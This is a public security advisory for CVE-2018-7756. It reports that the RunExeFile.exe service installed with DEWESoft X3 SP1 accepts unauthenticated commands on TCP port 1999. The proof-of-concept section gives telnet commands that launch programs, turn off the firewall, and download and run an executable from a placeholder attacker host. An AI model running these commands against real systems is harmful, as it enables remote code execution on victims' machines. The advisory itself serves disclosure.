DEWESoft X3 Remote Internal Command Access

`[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/DEWESOFT-X3-REMOTE-INTERNAL-COMMAND-ACCESS.txt  
[+] ISR: Apparition Security   
  
  
  
Vendor:  
=============  
www.dewesoft.com  
  
  
Product:  
===========  
DEWESoft X3 SP1 (64-bit) installer - X3  
DEWESoft_FULL_X3_SP1_64BIT.exe  
  
  
  
Vulnerability Type:  
===================  
Remote Internal Command Access  
  
  
  
CVE Reference:  
==============  
CVE-2018-7756  
  
  
  
Security Issue:  
================  
The installer for DEWESoft X3 SP1 (64-bit) devices, specifically the "RunExeFile.exe" component does not require authentication  
for sessions on TCP port 1999, which allows remote attackers to execute arbitrary code or access internal commands, as demonstrated by a  
RUN command that can launch an .EXE file located at an arbitrary directory location, download an .EXE from an external URL, or Run   
a "SETFIREWALL Off" command.   
  
The RunExeFile.exe "Launcher" is located at "C:\Program Files (x86)\Common Files\DEWESoft Shared\" after installing using the full-install.  
  
Internal commands used by "RunExeFile.exe" for which I could not find any documentation.  
  
RUN <ANY EXE>  
RUNEX <ANY EXE>  
GETFIREWALL  
SETFIREWALL Off  
KILL <PROCESS>  
USERNAME  
SHUTDOWN  
SENDKEYS  
LIST  
DWPIPE  
  
Exploit/POC:  
=============  
TELNET x.x.x.x 1999   
RUN calc.exe  
  
OR  
  
Launch the victims browser and send them to website for a drive-by download etc.  
  
TELNET x.x.x.x 1999   
RUN http://ATTACKER-IP/DOOM.exe  
  
Then from the TELNET session execute it from Downloads directory.  
  
runexe c:\Users\victim\Downloads\DOOM.exe  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: February 9, 2018  
Vendor "thank you for the warning. We will forward this to the developers and they will look into it" : February 19, 2018  
Inform vendor of disclosure timeline : February 19, 2018  
No further replys, update or addressing of the issue by vendor.  
Vendor "We will assume that this issue is resolved and close the ticket." : March 6, 2018  
March 10, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`